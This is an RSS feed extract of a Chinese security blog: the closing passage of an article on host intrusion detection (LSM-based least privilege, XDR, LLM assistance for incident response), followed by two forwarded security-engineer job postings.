normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n2115" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">从堡垒机登陆到某服务器，某服务器根据登陆信息确认该人员是A产品的开发人员，具有对于A产品的读写权限，并且具有基本的系统权限和白名单内的工具访问权限；</span></p></li><li><p cid="n2117" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">开发人员通过对系统日志，A产品日志访问，使用网络工具等工具等故障排查工作，均可以顺利展开；</span></p></li><li><p cid="n2119" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">该开发人员试图通过外网下载后门文件失败，因为不具备非白名单内外网访问权限，又试图自己运行自己编译的后门但失败，因为不具备非白名单二进制运行的权限，尝试修改关键配置如ssh配置失败，理由依然是不具备相关权限，尝试自己写nc脚本进行端口探测失败，因为不具备其他业务访问权限。</span></p></li></ul><p cid="n2120" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2121" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">如果是一个运维人员的视角是：</span></p><ul class="list-paddingleft-1" cid="n2122" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n2124" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">如果是高权限的运维同学，那么将会拥有实际Root权限；</span></p></li><li><p cid="n2126" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">如果是一个权限较低的运维同学，可能需要通过命令下发平台进行作业，具体执行的命令需要其他同学审批，如果直接登陆到服务器端依然是Rootless的用户权限。</span></p></li></ul><p cid="n2127" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2128" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">这些场景下的推演我们可以发现，实际上目前Linux本身的权限体系是比较难支撑这种限制和管理的，因为目前主流的Linux下的权限还是依赖于Linux用户体系，这显然无法应对复杂的权限关系，我认为最佳实践应该是基于LSM（Linux Security Modules）的能力将系统权限上进行业务场景的细分，如分为文件权限，系统权限，特殊权限，网络权限，然后和服务发现，服务权限，人员权限三者进行结合，从而尝试实现人员和应用的最小权限控制。</span></p><p cid="n2129" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2130" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">如果从实际推进落地的角度，可能一开始是只保护系统关键配置如sshd配置，dns配置，网络配置等，然后再逐步扩大保护的范围，比如再扩大到数据库服务关键应用等。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000737" data-ratio="0.8851851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=fb11ab3e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVwuh3hJqbocYfu7Qm4JTXcx7iaQfXvSFqerN8icz3LeSlicfOlnQk00lFSfd6T3iaEe124nvHiap6zACJA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p cid="n2133" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">（应用程序的权限控制的草图）</span></p><p cid="n2134" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h2 cid="n2136" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">6. 延伸讨论：XDR</span></h2><p cid="n2137" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">关于XDR主要想聊的问题主要是：目前有多少攻击是无法基于单一安全产品检测到的？XDR排除告警后数据关联能力外，基于检测工程部分有多少价值值得挖掘？我无法给出比例，并且不同厂家下的产品能力可能也不一致，但是我估计可能不会特别高。</span></p><p cid="n2138" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">当然XDR是有价值的，只是我觉得目前网络，主机，各种Runtime下的检测和产品对于行为本身的理解能力还有非常大的空间可以成长。</span></p><p cid="n2139" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h3 cid="n2140" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">7. 延伸讨论：大模型和检测响应</span></h3><p cid="n2141" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">目前基于安全知识库的大模型的支持，能做哪些工作？</span></p><ul class="list-paddingleft-1" cid="n2142" mdtype="list" data-mark="*" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;text-wrap: wrap;background-color: rgb(255, 255, 255);"><li><p cid="n2144" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">策略建设部分感觉可以用于弱告警关联分析；</span></p></li><li><p cid="n2146" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">针对cmdline等告警内数据进行解释和总结，提高IR团队效率；</span></p></li><li><p cid="n2148" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">误报分析，判定新告警误报或真实告警的可能性；</span></p></li><li><p cid="n2150" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">通过预制专家库问题不断向Agent（AI智能体）进行提问，来帮助IR团队提高效率，比如：</span></p></li><ul class="list-paddingleft-1" cid="n2151" mdtype="list" data-mark="*" style="padding-left: 30px;list-style-type: square;"><li><p cid="n2153" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">这个IP在告警数据中最早出现时间是？</span></p></li><li><p cid="n2155" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">这个IP还在那些服务器访问过？</span></p></li><li><p cid="n2157" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">这个IP有哪些端口开放？</span></p></li><li><p cid="n2159" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">这个进程是什么业务的？</span></p></li><li><p cid="n2161" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">还有哪些机器存在这个进程？</span></p></li><li><p cid="n2163" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">这个进程的HASH是否在外部被标记为恶意？</span></p></li><li><p cid="n2165" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">这段Base64 or 16进制是什么意思？</span></p></li><li><p cid="n2167" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">这个日志中的报错内容涉及到哪些Java组件？</span></p></li><li><p cid="n2169" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">这些Java组件历史存在哪些安全漏洞？</span></p></li></ul><li><p cid="n2171" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space-collapse: preserve;"><span md-inline="plain">其他的常规用法就不赘述了。</span></p></li></ul><p cid="n2172" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><h2 cid="n2173" mdtype="heading" style="white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">8. 写在最后</span></h2><p cid="n2174" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">实在是没想到自从去年6月离开前团队后，我就基本算是离开反入侵建设领域了，这一年来也是感慨颇多。想到之前有太多未完成的工作和没来得及实践的想法，于是提笔写下了这篇文章，本来想尽可能详尽一些，但是没想到工作量要比预想的大得多，所以最后还是写成了一篇比较概括性的文章。总之希望这篇文章可以帮助其他还在这个领域的小伙伴，也在此感谢长期关注的小伙伴们。</span></p><p cid="n2175" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p cid="n2176" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain">也不知道是不是最后一篇主机安全或入侵检测相关的文章了，希望将来有缘再见吧。</span></p><p cid="n2177" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484388">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2bdb4457&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484388%26idx%3D1%26sn%3D3673bea3696f50cd0a0e25d7d0481eee%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 19 Jun 2024 21:14:00 +0800</pubDate>
    </item>
    <item>
      <title>帮好友转-资深安全开发招聘</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484378&amp;idx=1&amp;sn=0180872c818fef3e2b0bb7917bbf82e6</link>
      <description>帮好友转-资深安全开发招聘，鹰角网络</description>
      <content:encoded><![CDATA[<p>
<span>EBwill</span> <span>2023-09-19 10:27</span> <span style="display: inline-block;">上海</span>
</p>

<p>帮好友转-资深安全开发招聘，鹰角网络</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7058a404&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVwyVmtfEeCxFpraqtFg0II4Kg4YezCZU05f74YRZyhfQnjFn5dD1qqpa87FkezPUhSl0BibmEWQ9lw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br data-cke-eol="1"/></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(26, 149, 165), rgb(38, 198, 218));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space-collapse: collapse;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">岗位职责：</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">1、支撑安全团队内部安全工具开发，配合安全运营和业务方将安全策略落地，通过自动化方式监控、检测、阻断安全风险及安全事件；</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">2、负责内部安全产品的技术方案调研、方案设计、开发及维护，范围包括数据安全、账号安全、安全监控、内容安全、风控、安全运营、办公网安全等。</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">3、负责 web 应用前后端、安全工具、安全策略开发和维护；</span></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(26, 149, 165), rgb(38, 198, 218));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space-collapse: collapse;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">任职资格：</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">1、扎实的计算机专业基础，熟悉常用的数据结构，优秀的代码编写、算法设计能力及良好的开发习惯；</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">2、5 年以上开发和设计经验，熟悉 Java/Go/Python 等至少一种开发语言，有丰富安全项目设计、开发经验者优先；</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">3、5 年以上安全相关从业经验，熟悉安全产品的工作原理及相关能力要求，能够独立设计开发安全项目；</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">4、优秀的系统分析和问题解决能力，能够攻克复杂的系统难题；</span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">5、良好的沟通表达能力和团队协作能力，勤奋好学，能够快速适应变化。</span></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(26, 149, 165), rgb(38, 198, 218));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space-collapse: collapse;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">其他：</span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">鹰角网络，base 上海，联系方式：x9385395@gmail.com</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484378">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=53cf6761&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484378%26idx%3D1%26sn%3D0180872c818fef3e2b0bb7917bbf82e6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 19 Sep 2023 10:27:00 +0800</pubDate>
    </item>
    <item>
      <title>帮好友转-基础安全招聘</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484374&amp;idx=1&amp;sn=9d8ae4401f3ffddcd93e05cc4b3e630c</link>
      <description>携程，基础安全招聘</description>
      <content:encoded><![CDATA[<p>
<span>EBwill</span> <span>2023-08-25 09:51</span> <span style="display: inline-block;">上海</span>
</p>

<p>携程，基础安全招聘</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cfe9b15c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVwMvlzPibcdbKf9diby0oX4Uicq9t5eBumODcvYtOnuKNffagDTj8UjZLdVRe5CiciaSicibskVODI8yyvdg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(26, 149, 165), rgb(38, 198, 218));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;white-space: pre-wrap;color: rgb(62, 62, 62);"><br/></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(26, 149, 165), rgb(38, 198, 218));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space-collapse: collapse;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">岗位职责</span></strong></span></strong></p><section style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: normal;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">1、参与公司基础架构的安全建设，完善安全纵深防御体系，以及相关安全项目管理和推进；</span></section><section style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: normal;"><span style="font-family: PingfangSC-LIGHT, sans-serif;font-size: 15px;letter-spacing: 1px;">2、应对传统生产环境、公有云、私有云、混合云等复杂网络环境，设计和推进合理的安全防护方案；</span></section><section style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: normal;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">3、为软件、系统安全基线、供应链、边界风险、运维部署等基础设施安全；</span></section><section style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: normal;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">4、负责服务器及核心系统等系统安全策略的制定、实施、安全审计、持续改进；</span></section><section style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: normal;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">5、跟进业界安全能力的前沿趋势，调优公司相应的防御水位。</span></section><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: 1.5;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;"><br/></span></p><h3 label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin-top: -10px;line-height: 5px;background-image: linear-gradient(to right, rgb(26, 149, 165), rgb(38, 198, 218));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">   </h3><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;white-space: pre-wrap;color: rgb(137, 137, 137);line-height: 1.5;"><strong style="color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;"><span style="font-size: 20px;"><strong style="color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space-collapse: collapse;"><span style="color: rgb(62, 62, 62);font-family: PingFangSC-Semibold, sans-serif;">岗位要求</span></strong></span></strong></p><section style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: normal;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;">1、需要拥有较好的沟通、协调能力；有互联网公司安全运维和安全项目管理经验的加分；</span></section><section style="margin: 20px;white-space: pre-wrap;color: rgb(43, 43, 43);line-height: normal;"><span style="line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: 